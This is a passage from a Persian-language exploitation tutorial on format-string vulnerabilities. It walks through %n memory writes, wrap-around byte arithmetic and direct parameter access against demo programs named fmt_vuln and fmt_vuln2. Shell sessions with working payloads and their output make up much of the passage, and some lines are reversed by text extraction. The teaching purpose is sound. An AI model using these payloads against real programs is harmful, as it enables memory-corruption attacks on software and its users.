اﮐﻨﻮن ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﺑﻌﺪی ﺑﺎﯾﺪ ﺻﻮرت ﺑﭙﺬﯾﺮد .ﻟﺬا ﺟﻬﺖ اﻓﺰاﯾﺶ ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎ ﺑـﻪ 187ﺑﺎﯾـﺖ )ﮐـﻪ در ﻫﮕﺰادﺳـﯿﻤﺎل
ﺑﺮاﺑﺮ ﻫﻤﺎن 0xBBاﺳﺖ( ،ﯾﮏ آرﮔﻮﻣﺎن دﯾﮕﺮ ﻧﯿﺰ ﺑﺮای دﯾﮕﺮ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %xﻧﯿﺎز اﺳﺖ .اﯾﻦ آرﮔﻮﻣـﺎن ﻣـﯽ ﺗﻮاﻧـﺪ
ﻫﺮ ﭼﯿﺰی ﺑﺎﺷﺪ؛ ﺗﻨﻬـﺎ ﺑﺎﯾـﺪ 4ﺑﺎﯾـﺖ ﻃـﻮل داﺷـﺘﻪ ﺑﺎﺷـﺪ و ﻫﻤﭽﻨـﯿﻦ ﺑﺎﯾـﺪ ﺑﻌـﺪ از اوﻟـﯿﻦ آدرس ﺣﺎﻓﻈـﻪ دﻟﺨـﻮاه ﯾﻌﻨـﯽ
0x08049570ﻗﺮار ﮔﯿﺮد .ﭼﻮن اﯾﻦ آرﮔﻮﻣﺎن ﻫﻨﻮز در ﺣﯿﻄﻪ ﺣﺎﻓﻈﻪ رﺷﺘﻪ ﻓﺮﻣﺖ اﺳﺖ ،ﻟﺬا ﻣﯽ ﺗﻮان اﯾﻦ ﻣﺴﺎﺋﻞ را ﺑـﻪ
ﺳﺎدﮔﯽ ﮐﻨﺘﺮل ﮐﺮد .ﻣﺜﻼ ﮐﻠﻤﻪ JUNKﭼﻬﺎر ﺑﺎﯾﺖ ﻃﻮل داﺷﺘﻪ و ﺑﻪ ﺧﻮﺑﯽ ﮐﺎر ﻣﯽ ﮐﻨﺪ.
ﭘﺲ از آن ،آدرس ﺑﻌﺪی ﺣﺎﻓﻈﻪ ﮐﻪ ﺑﺎﯾﺪ در آن ﻧﻮﺷﺘﻪ ﺷﻮد )ﯾﻌﻨـﯽ ،(0x08049771ﺑﺎﯾـﺴﺘﯽ در ﺣﺎﻓﻈـﻪ ﻗـﺮار ﮔﯿـﺮد،
ﻃﻮرﯾﮑﻪ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %nﺑﺘﻮاﻧﺪ ﺑﻪ آن دﺳﺖ ﯾﺎﺑﺪ .ﺑﻪ اﯾﻦ ﺻﻮرت اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﺑﺎﯾـﺴﺘﯽ ﺣـﺎوی آدرس ﺣﺎﻓﻈـﻪ
ﻣﻘﺼﺪ )ﯾﻌﻨﯽ 4ﺑﺎﯾﺖ ﻣﺮﺑﻮط ﺑﻪ (junkو ﺳﭙﺲ ﺣﺎوی آدرس ﺣﺎﻓﻈﻪ ﻣﻘﺼﺪ ﺑﻌﻼوه ﯾﮏ ﺑﺎﺷﺪ .اﻣـﺎ ﺗﻤـﺎم اﯾـﻦ ﺑﺎﯾـﺖ ﻫـﺎی
ﺣﺎﻓﻈﻪ ﺑﻮﺳﯿﻠﻪ ﺗﺎﺑﻊ ﻓﺮﻣﺖ در ﺧﺮوﺟﯽ ﻧﯿﺰ ﭼﺎپ ﻣﯽ ﺷﻮﻧﺪ ،ﻟﺬا ﺷﻤﺎرﺷـﮕﺮ ﺑﺎﯾـﺖ ﮐـﻪ ﺗﻮﺳـﻂ ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ %nﻣـﻮرد
اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮد ﻧﯿﺰ اﻓﺰاﯾﺶ ﻣﯽ ﯾﺎﺑﺪ.
اﺣﺘﻤﺎﻻ ﺑﺎﯾﺪ ﻗﺪری ﺑﯿﺸﺘﺮ ﺑﻪ اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﻓﮑﺮ ﺷﻮد .ﻫﺪف ﻧﻬﺎﯾﯽ ،اﻧﺠﺎم 4ﻋﻤﻞ ﻧﻮﺷﺘﻦ اﺳﺖ .ﺑﺎﯾـﺪ ﺑـﻪ ﻫـﺮ ﻋﻤـﻞ
ﻧﻮﺷﺘﻦ ﯾﮏ آدرس ﺣﺎﻓﻈﻪ ﻣﻨﺘﻘﻞ ﺷﻮد و ﺑﯿﻦ ﻫﻤﻪ آﻧﻬﺎ ﻧﯿﺰﭼﻬﺎر ﺑﺎﯾﺖ junkﻧﯿﺎز اﺳﺖ ﺗﺎ ﺗﻮان ﺷﻤﺎرﺷﮕﺮ ﺑﺎﯾـﺖ را ﺑـﺮای
ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ %nﺑﻪ درﺳﺘﯽ اﻓﺰاﯾﺶ داد .اوﻟﯿﻦ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %xﻣـﯽ ﺗﻮاﻧـﺪ از ﭼﻬـﺎر ﺑﺎﯾـﺖ ﻣﻮﺟـﻮد در ﻗﺒـﻞ از
رﺷﺘﻪ ﻓﺮﻣﺖ اﺳﺘﻔﺎده ﮐﻨﺪ ،اﻣﺎ ﺑﻪ ﺳﻪ ﭘﺎراﻣﺘﺮ ﺑﺎﻗﯿﻤﺎﻧﺪه ﺑﺎﯾﺪ داده اراﺋﻪ ﮐﻨﯿﻢ .ﻟﺬا در اﯾﻦ روﯾﻪ 4ﻣﺮﺣﻠﻪ ای ﻧﻮﺷﺘﻦ ،اﺑﺘﺪای
رﺷﺘﻪ ﻓﺮﻣﺖ ﭼﯿﺰی ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد:
57
اﮐﻨﻮن ﯾﮏ ﺑﺎر اﻣﺘﺤﺎن ﮐﻨﯿﻢ:
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x
08"'%x.%
x.%x%n
The right way:
JUNKJUNKJUNK%x.%x.%x%n
The wrong way:
JUNKJUNKJUNKbffff580.3e8.3e8
[*] test_val @ 0x08049570 = 44 0x0000002c
$ pcalc 44 - 3
41 0x29 0y101001
$ pcalc 0xaa - 41
129 0x81 0y10000001
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x
08"'%x.%
x.%129x%n
The right way:
JUNKJUNKJUNK%x.%x.%129x%n
The wrong way:
JUNKJUNKJUNKbffff580.3e8.
3e8
[*] test_val @ 0x08049570 = 170 0x000000aa
$
آدرس ﻫﺎ و داده junkدر اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ،ﻣﻘﺪار ﻣﻨﺎﺳﺐ و ﻻزم ﺑـﺮای ﻃـﻮل ﻣﯿـﺪان ﺑـﺮای ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ %xرا
ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﻨﺪ .اﻣﺎ ﻣﯽ ﺗﻮان ﺑﺎ ﻫﻤﺎن روش ﻗﺒﻠﯽ اﯾﻦ ﻣﻘﺪار را ﻣﺠﺪدا ﻣﺤﺎﺳﺒﻪ ﮐﺮد .روش دﯾﮕـﺮ ﺑـﺮای اﻧﺠـﺎم اﯾـﻦ ﮐـﺎر
ﮐﺎﺳﺘﻦ 24ﺑﺎﯾﺖ از ﻣﻘﺪار 153ﺑﺎﯾﺘﯽ ﻣﺮﺑﻮط ﺑﻪ ﻃﻮل ﻣﯿﺪان ﻗﺒﻠﯽ اﺳﺖ ،ﭼﺮا ﮐﻪ ﺷﺶ ﮐﻠﻤـﻪ 4ﺑـﺎﯾﺘﯽ ﺟﺪﯾـﺪ ﺑـﻪ اﺑﺘـﺪای
رﺷﺘﻪ ﻓﺮﻣﺖ اﺿﺎﻓﻪ ﺷﺪه اﻧﺪ.
اﮐﻨﻮن ﮐﻪ ﺣﺎﻓﻈﻪ ﻣﺮﺑﻮﻃﻪ در اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﺗﻨﻈﯿﻢ ﺷﺪه اﺳﺖ ،ﻟﺬا دوﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﺳﺎده ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﺪ.
$ pcalc 0xbb - 0xaa
17 0x11 0y10001
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x
08"'%x.%
x.%129x%n%17x%n
The right way:
JUNKJUNKJUNK%x.%x.%129x%n%17x%n
The wrong way:
JUNKJUNKJUNKbffff580.3e8.
3e8 4b4e554a
[*] test_val @ 0x08049570 = 48042 0x0000bbaa
$
ﻣﻘﺪار ﻣﻮرد ﻧﻈﺮ ﺑﻌﺪی ﺑﺮای ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ ،ﻣﻘﺪار 0xBBاﺳﺖ .ﯾﮏ ﻣﺎﺷﯿﻦ ﺣﺴﺎب ﻣﺒﻨﺎی 16ﻧﺸﺎن ﻣـﯽ دﻫـﺪ
ﮐﻪ ﻗﺒﻞ از ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ﺑﻌﺪی ،%nﺑﺎﯾﺪ 17ﺑﺎﯾﺖِ اﺿﺎﻓﯽ ﻗﺮار ﮔﯿﺮد .ﭼﻮن ﻗﺒﻼ ﺑـﺮای ﭘـﺎراﻣﺘﺮ ﻓﺮﻣـﺖ ،%xﺣﺎﻓﻈـﻪ ی
ﻻزم ﺗﻨﻈﯿﻢ ﺷﺪه اﺳﺖ ،ﻟﺬا ﻧﻮﺷﺘﻦ 17ﺑﺎﯾﺖ اﺿﺎﻓﯽ ﺑﺎ اﺳﺘﻔﺎده از ﻃﻮل ﻣﯿﺪان ﺑﻪ راﺣﺘﯽ اﻧﺠﺎم ﻣﯽ ﭘﺬﯾﺮد.
اﯾﻦ ﻓﺮآﯾﻨﺪ را ﻣﯽ ﺗﻮان ﺑﺮای ﺳﻮﻣﯿﻦ و ﭼﻬﺎرﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﻧﯿﺰ ﺗﮑﺮار ﮐﺮد.
$ pcalc 0xcc - 0xbb
17 0x11 0y10001
$ ./fmt_vuln 'printf
"\x70\x95\x04\x08JUNK\x71\x95\x04\x08JUNK\x72\x95\x04\x08JUNK\x73\x95\x04\x
08"'%x.%
x.%129x%n%17x%n%17x%n
The right way:
58
JUNKJUNKJUNK%x.%x.%129x%n%17x%n%17x%n
The wrong way:
JUNKJUNKJUNKbffff570.3e8.
59
ﺣﺎﺻـﻞ ﺷـﻮد ﮐـﻪ ﻣﻌـﺎدل427 را ﺑـﻪ آن اﺿـﺎﻓﻪ ﮐـﺮد ﺗـﺎ ﻋـﺪد222 ﻣﯽ ﺗﻮان ﻣﻘﺪار205 از34 ﻟﺬا ﺑﻪ ﺟﺎی ﮐﻢ ﮐﺮدن
0x1AB ( را در ﻗﺎﻟـﺐ0xAB) ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﯽ ﺗﻮان ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾـﺖ. ﺧﻮاﻫﺪ ﺑﻮد0x1AB ،ﻫﮕﺰادﺳﯿﻤﺎل آن
(wrap around) از اﯾـﻦ ﺗﮑﻨﯿـﮏ ﭼـﺮﺧﺶ ﭘﻮﺷـﺸﯽ، ﻣﺠﺪدا ﻣﯽ ﺗﻮان در ﺳﻮﻣﯿﻦ ﻋﻤﻞ ﻧﻮﺷﺘﻦ.ﭼﺮﺧﺸﺶ ﭘﻮﺷﺸﯽ داد
. اﺳﺘﻔﺎده ﮐﺮد0x06ﺑﺮای ﺗﻨﻈﯿﻢ ﮐﺮدن ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ ﺑﻪ ﻣﻘﺪار
$ ./fmt_vuln2 AAAA%x.%x.%x.%x
The right way:
AAAA%x.%x.%x.%x
The wrong way:
AAAAbffff5a0.3e8.3e8.41414141
[*] test_val @ 0x080495d0 = -72 0xffffffb8
[*] next_val @ 0x080495d4 = 286331153 0x11111111
$ ./fmt_vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
x.%x.%n
The right way:
JUNKJUNKJUNK%x.%x.%x.%n
The wrong way:
JUNKJUNKJUNKbffff580.3e8.3e8.
[*] test_val @ 0x080495d0 = 45 0x0000002d
[*] next_val @ 0x080495d4 = 286331153 0x11111111
$ pcalc 45 - 3
42 0x2a 0y101010
$ pcalc 0xcd - 42
163 0xa3 0y10100011
$ ./fmt_vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
x.%163x.%n
The right way:
JUNKJUNKJUNK%x.%x.%163x.%n
The wrong way:
JUNKJUNKJUNKbffff580.3e8.
3e8.
[*] test_val @ 0x080495d0 = 205 0x000000cd
[*] next_val @ 0x080495d4 = 286331153 0x11111111
$
$ pcalc 0xab - 0xcd
-34 0xffffffde 0y11111111111111111111111111011110
$ pcalc 0x1ab - 0xcd
222 0xde 0y11011110
$ ./fmt_vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
x.%163x.%n%222x%n
The right way:
JUNKJUNKJUNK%x.%x.%163x.%n%222x%n
The wrong way:
JUNKJUNKJUNKbffff580.3e8.
3e8.
4b4e554a
[*] test_val @ 0x080495d0 = 109517 0x0001abcd
[*] next_val @ 0x080495d4 = 286331136 0x11111100
$
$ pcalc 0x06 - 0xab
-165 0xffffff5b 0y11111111111111111111111101011011
$ pcalc 0x106 - 0xab
91 0x5b 0y1011011
$ ./fmt_vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
60
x.%163x.%n%222x%n%91x%n
The right way:
JUNKJUNKJUNK%x.%x.%163x.%n%222x%n%91x%n
The wrong way:
JUNKJUNKJUNKbffff570.3e8.
3e8.
4b4e554a
4b4e554a
[*] test_val @ 0x080495d0 = 33991629 0x0206abcd
[*] next_val @ 0x080495d4 = 286326784 0x11110000
$
ﺑﺎ ﻫﺮ ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﺑﺎﯾﺖ ﻫﺎی ﻣﺘﻐﯿﺮ next_valﮐﻪ ﻣﺠﺎور ﻣﺘﻐﯿﺮ test_valﻫﺴﺘﻨﺪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﮔﺮدﻧـﺪ .ﺑـﻪ ﻧﻈـﺮ ﻣـﯽ
رﺳﺪ ﮐﻪ ﺗﮑﻨﯿﮏ ﭼﺮﺧﺶ ﭘﻮﺷﺸﯽ ﮐﺎرﮐﺮد ﺧﻮﺑﯽ در اﯾﻦ ﻣﻮاﻗـﻊ دارد ،اﻣـﺎ ﺑﻬﻨﮕـﺎم ﻧﻮﺷـﺘﻦ آﺧـﺮﯾﻦ ﺑﺎﯾـﺖ ﯾـﮏ ﻣـﺸﮑﻞ
ﮐﻮﭼﮏ رخ ﻣﯽ ﻧﻤﺎﯾﺎﻧﺪ.
$ pcalc 0x08 - 0x06
2 0x2 0y10
$ ./fmt_vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
x.%163x.%n%222x%n%91x%n%2x%n
The right way:
JUNKJUNKJUNK%x.%x.%163x.%n%222x%n%91x%n%2x%n
The wrong way:
JUNKJUNKJUNKbffff570.3e0.
3e8.
4b4e554a
4b4e554a4b4e554a
[*] test_val @ 0x080495d0 = 235318221 0x0e06abcd
[*] next_val @ 0x080495d4 = 285212674 0x11000002
$
ﭼﻪ اﺗﻔﺎﻗﯽ اﻓﺘﺎد؟ ﻓﺎﺻﻠﻪ ﺑﯿﻦ 0x06و 0x08ﺗﻨﻬﺎ 2ﺑﺎﯾﺖ اﺳﺖ ،اﻣﺎ 8ﺑﺎﯾﺖ در ﺧﺮوﺟﯽ ﻗـﺮار ﮔﺮﻓـﺖ ﮐـﻪ در ﻧﺘﯿﺠـﻪ آن،
ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %nﻧﺘﯿﺠﻪ ﺧﻮد را در ﺑﺎﯾﺖ 0x0eﻣﯽ ﻧﻮﯾﺴﺪ .دﻟﯿﻞ اﯾﻦ ﻣﺴﺌﻠﻪ اﯾﻦ اﺳﺖ ﮐﻪ ﻃـﻮل ﻣﯿـﺪان ﺑـﺮای ﭘـﺎراﻣﺘﺮ
ﻗﺎﻟﺐ ،%xﻓﻘﻂ ﻧﺸﺎن دﻫﻨﺪه ﻃﻮل ﻣﯿﺪان ﮐﻤﯿﻨﻪ اﺳﺖ ،درﺣﺎﻟﯿﮑﻪ 8ﺑﺎﯾﺖ ﺑﺎﯾـﺪ در ﺧﺮوﺟـﯽ ﻧﻮﺷـﺘﻪ ﻣـﯽ ﺷـﺪه اﻧـﺪ .اﯾـﻦ
ﻣﺸﮑﻞ را ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ ﭼﺮﺧﺶ ﭘﻮﺷﺸﯽ دﯾﮕﺮ ﺗﻌﺪﯾﻞ ﮐﺮد؛ ﺑﺎ اﯾﻦ ﺣﺎل داﻧﺴﺘﻦ ﻣﺤﺪودﯾﺖ ﻫﺎی ﮔﺰﯾﻨـﻪ ﻃـﻮل ﻣﯿـﺪان
ﺧﻮب اﺳﺖ.
$ pcalc 0x108 - 0x06
258 0x102 0y100000010
$ ./fmt_vuln2 'printf
"\xd0\x95\x04\x08JUNK\xd1\x95\x04\x08JUNK\xd2\x95\x04\x08JUNK\xd3\x95\x04\x
08"'%x.%
x.%163x.%n%222x%n%91x%n%258x%n
The right way:
JUNKJUNKJUNK%x.%x.%163x.%n%222x%n%91x%n%258x%n
The wrong way:
JUNKJUNKJUNKbffff570.3e8.
3e8.
4b4e554a
4b4e554a
4b4e554a
[*] test_val @ 0x080495d0 = 134654925 0x0806abcd
[*] next_val @ 0x080495d4 = 285212675 0x11000003
$
61
درﺳﺖ ﻫﻤﺎﻧﻨﺪ ﻗﺒﻞ ،آدرس ﻫﺎی ﻣﺮﺑﻮﻃﻪ و داده junkدر اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ ﻗﺮار داده ﺷﺪه و ﮐﻢ ارزش ﺗـﺮﯾﻦ ﺑﺎﯾـﺖ
در ﭼﻬﺎر ﻋﻤﻞ ﻧﻮﺷﺘﻦ ﻧﯿﺰ ﺗﺤﺖ ﮐﻨﺘﺮل اﺳﺖ ﺗﺎ ﺑﺘﻮاﻧﯿﻢ ﻫﺮ 4ﺑﺎﯾﺖ ﻣﺮﺑﻮط ﺑﻪ ﻣﺘﻐﯿﺮ test_valرا ﺟﺎﯾﻨﻮﯾﺴﯽ ﮐﻨﯿﻢ .ﺟﻬﺖ
ﮐﺎﻫﺶ ﻣﻘﺪار از ﮐﻢ ارزش ﺗﺮﯾﻦ ﺑﺎﯾﺖ ،ﻣﯽ ﺗﻮان از ﭼﺮﺧﺶ ﭘﻮﺷﺸﯽ ﺑﺮ روی آن ﺑﺎﯾﺖ اﺳﺘﻔﺎده ﮐﺮد ،ﻫﻤﭽﻨﯿﻦ ﻫﺮ ﮔﻮﻧـﻪ
اﻓﺰاﯾﺶ ﻣﻘﺪار ﺑﯿﺸﺘﺮ از 8واﺣﺪ ﻧﯿﺰ ﻣﺠﺪدا از ﻫﻤﺎن ﺗﮑﻨﯿﮏ ﺑﻪ ﻃﺮﯾﻖ ﻣﺸﺎﺑﻬﯽ ﺑﻬﺮه ﻣﯽ ﺑﺮد.
دﺳﺘﺮﺳﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ روﺷﯽ در راﺳﺘﺎی ﺳﺎده ﺗﺮ ﮐﺮدن اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی رﺷﺘﻪ-ﻓﺮﻣـﺖ اﺳـﺖ .در اﮐـﺴﭙﻠﻮﯾﺖ ﻫـﺎی
ﻗﺒﻠﯽ ،ﻣﯽ ﺑﺎﯾﺴﺖ ﺑﻪ ﻃﻮر ﻣﺘﻮاﻟﯽ در ﻫﺮ ﯾﮏ از آرﮔﻮﻣﺎﻧﻬﺎی ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ﺣﺮﮐﺖ ﻣﯽ ﺷﺪ .اﯾﻦ ﻣﺴﺌﻠﻪ ﺑﻬﻨﮕﺎم اﺳﺘﻔﺎده از
ﭼﻨﺪﯾﻦ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ %xاﺟﺒﺎری ﺑﻮد ﮐﻪ ﺑﺘﻮان ﺗﺎ زﻣﺎن دﺳﺘﺮﺳﯽ ﺑﻪ اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ در آرﮔﻮﻣﺎن ﻫـﺎی ﭘـﺎراﻣﺘﺮی
ﺣﺮﮐﺖ ﮐﺮد .ﺑﻌﻼوه ﻣﺎﻫﯿﺖ ﻣﺘﻮاﻟﯽ ﺑﻮدن در اﯾﻦ وﺿﻌﯿﺖ ،ﻧﯿﺎز ﺑﻪ ﮐﻠﻤﺎت 4ﺑﺎﯾﺘﯽ junkرا ﺿﺮوری ﻣﯽ ﺳﺎﺧﺖ ﺗﺎ ﺑﻪ اﯾﻦ
ﺻﻮرت ﺑﺘﻮان ﯾﮏ آدرس ﮐﺎﻣﻞ را در ﯾﮏ ﻣﺤﻞ دﻟﺨﻮاه ﺣﺎﻓﻈﻪ ﻧﻮﺷﺖ.
ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻧﺎم اﯾﻦ روش ﺑﺮ اﯾﻦ ﻣﺴﺌﻠﻪ دﻻﻟﺖ ﻣـﯽ ﮐﻨـﺪ ،دﺳـﺘﯿﺎﺑﯽ ﻣـﺴﺘﯿﻢ ﭘـﺎراﻣﺘﺮ )(direct parameter access
اﻣﮑﺎن دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﺑﻪ ﭘﺎراﻣﺘﺮﻫﺎ را ﺑﺎ اﺳﺘﻔﺎده از ﻋﻼﻣﺖ ﺗﻮﺻـﯿﻔﯽ دﻻر ) ($ﻓـﺮاﻫﻢ ﻣـﯽ ﺳـﺎزد .ﺑـﺮای ﻣﺜـﺎل ﻋﺒـﺎرت
%N$dﺳﺒﺐ دﺳﺘﯿﺎﺑﯽ ﺑﻪ Nاﻣﯿﻦ ﭘﺎراﻣﺘﺮ و ﻧﻤﺎﯾﺶ آن ﺑﻪ ﺻﻮرت ﯾﮏ ﻋﺪد ﻣﺒﻨﺎی ده ﻣﯽ ﺷﻮد.
;)printf("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80
ﺧﺮوﺟﯽ ﻓﺮاﺧﻮاﻧﯽ ﺗﺎﺑﻊ )( printfﻓﻮق ﺑﻪ ﺻﻮرت زﯾﺮ اﺳﺖ:
7th: 70, 4th: 00040
اﺑﺘﺪا ﺑﻬﻨﮕﺎم ﺑﺮﺧﻮرد ﺑﺎ ،%7$dﭼﻮن ﭘﺎراﻣﺘﺮ ﻫﻔﺘﻢ ﺑﺮاﺑﺮ ﺑﺎ 70اﺳﺖ ،ﻟﺬا ﻣﻘﺪار 70ﺑﻪ ﺻـﻮرت ﯾـﮏ ﻋـﺪد ﻣﺒﻨـﺎی ده ﺑـﻪ
ﺧﺮوﺟﯽ ﻣﯽ رود .ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ دوم ﺑﻪ ﭘﺎراﻣﺘﺮ ﭼﻬﺎرم دﺳﺘﺮﺳﯽ ﻣﯽ ﯾﺎﺑﺪ و ﻣﻘﺪار ﻃﻮل ﻣﯿﺪان آن ﻧﯿﺰ 05اﺳﺖ .ﺑﻪ دﯾﮕﺮ
آرﮔﻮﻣﺎن ﭘﺎراﻣﺘﺮی ﻧﯿﺰ دﺳﺖ ﯾﺎﺑﯽ ﻧﮕﺮدﯾﺪه اﺳﺖ .اﯾﻦ روش در دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﺑﻪ ﭘﺎراﻣﺘﺮ ،ﻧﯿﺎز ﺑﻪ ﺣﺮﮐﺖ در ﺣﺎﻓﻈـﻪ
ﺗﺎ رﺳﯿﺪن ﺑﻪ اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ را از ﺑﯿﻦ ﻣﯽ ﺑﺮد ،ﭼﺮا ﮐﻪ ﻣﯽ ﺗﻮان ﻣﺴﺘﻘﯿﻤﺎ ﺑﻪ ﺣﺎﻓﻈﻪ دﺳﺘﺮﺳﯽ ﯾﺎﻓـﺖ .ﺧﺮوﺟـﯽ زﯾـﺮ
ﮐﺎرﺑﺮد دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ را ﻧﺸﺎن ﻣﯽ دﻫﺪ.
$ ./fmt_vuln AAAA%x.%x.%x.%x
The right way:
AAAA%x.%x.%x.%x
The wrong way:
AAAAbffff5a0.3e8.3e8.41414141
[*] test_val @ 0x08049570 = -72 0xffffffb8
$ ./fmt_vuln AAAA%4\$x
The right way:
AAAA%4$x
The wrong way:
AAAA41414141
[*] test_val @ 0x08049570 = -72 0xffffffb8
$
در اﯾﻦ ﻣﺜﺎل اﺑﺘﺪای رﺷﺘﻪ ﻓﺮﻣﺖ در ﭼﻬﺎرﻣﯿﻦ آرﮔﻮﻣﺎن ﭘـﺎراﻣﺘﺮی ﺗﻌﯿـﯿﻦ ﻣﺤـﻞ ﺷـﺪه اﺳـﺖ .ﻟـﺬا ﺑـﻪ ﺟـﺎی اﺳـﺘﻔﺎده از
ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ %xﺟﻬﺖ ﺣﺮﮐﺖ در ﺳﻪ آرﮔﻮﻣﺎن ﭘﺎراﻣﺘﺮی ﻧﺨﺴﺖ ،ﻣﯽ ﺗﻮان ﺑﻪ اﯾـﻦ ﺣﺎﻓﻈـﻪ )از ﻃﺮﯾـﻖ ﭼﻬـﺎرﻣﯿﻦ
آرﮔﻮﻣﺎن( ﻣﺴﺘﻘﯿﻤﺎ دﺳﺘﺮﺳﯽ ﯾﺎﻓﺖ .اﻣﺎ ﭼﻮن در ﺣﺎل ﺣﺎﺿﺮ اﯾﻦ ﻋﻤﻠﯿﺎت را ﺑـﺮ روی ﺧـﻂ ﻓﺮﻣـﺎن اﻧﺠـﺎم ﻣـﯽ دﻫـﯿﻢ ﮐـﻪ
ﮐﺎراﮐﺘﺮ دﻻر در آن ﺑﻪ ﻋﻨﻮان ﯾﮏ ﮐﺎراﮐﺘﺮ وﯾﮋه ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ،ﻟﺬا ﺑﻪ ﻣﻨﻈﻮر ﻃﺮﻓﻨﻈﺮ از ﻋﻤﻠﮑﺮد وﯾﮋه اﯾـﻦ ﮐـﺎراﮐﺘﺮ
ﺑﺎﯾﺪ در ﺧﻂ ﻓﺮﻣﺎن از ﯾﮏ ﮐﺎراﮐﺘﺮ ( \ ) Backslashاﺳﺘﻔﺎده ﮐﻨﯿﻢ .رﺷﺘﻪ ﻓﺮﻣﺖ اﺻﻠﯽ را در زﻣﺎن ﭼـﺎپ ﺷـﺪن ﺻـﺤﯿﺢ
آن ﺧﻮاﻫﯿﺪ دﯾﺪ.
دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ ،ﻧﻮﺷﺘﻦ آدرس ﻫﺎی ﺣﺎﻓﻈﻪ را ﻧﯿﺰ ﺗﺴﻬﯿﻞ ﻣﯽ ﮐﻨﺪ .ﭼﻮن ﻣﯽ ﺗﻮان ﻣﺴﺘﻘﯿﻤﺎ ﺑﻪ ﺣﺎﻓﻈﻪ دﺳﺘﺮﺳﯽ
ﯾﺎﻓﺖ ،ﻟﺬا ﺑﻪ ﻣﻨﻈﻮر اﻓﺰاﯾﺶ ﺗﻌﺪاد ﺑﺎﯾﺖ ﻫﺎی ﺧﺮوﺟﯽ ﻧﯿـﺎزی ﺑـﻪ داده ﻫـﺎی junkﺑـﻪ ﻋﻨـﻮان ﺟﺪاﮐﻨﻨـﺪه ﻫـﺎی 4ﺑـﺎﯾﺘﯽ
62
ﮐﻪ ﻣﻌﻤﻮﻻ ﺑﺮای اﯾﻦ ﻫﺪف ﺑﻪ ﮐﺎر ﻣﯽ رود ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﻃﻮر ﻣـﺴﺘﻘﯿﻢ ﺑـﻪ ﯾـﮏ%x ﻫﺮ ﯾﮏ از ﭘﺎراﻣﺘﺮﻫﺎی ﻓﺮﻣﺖ.ﻧﯿﺴﺖ
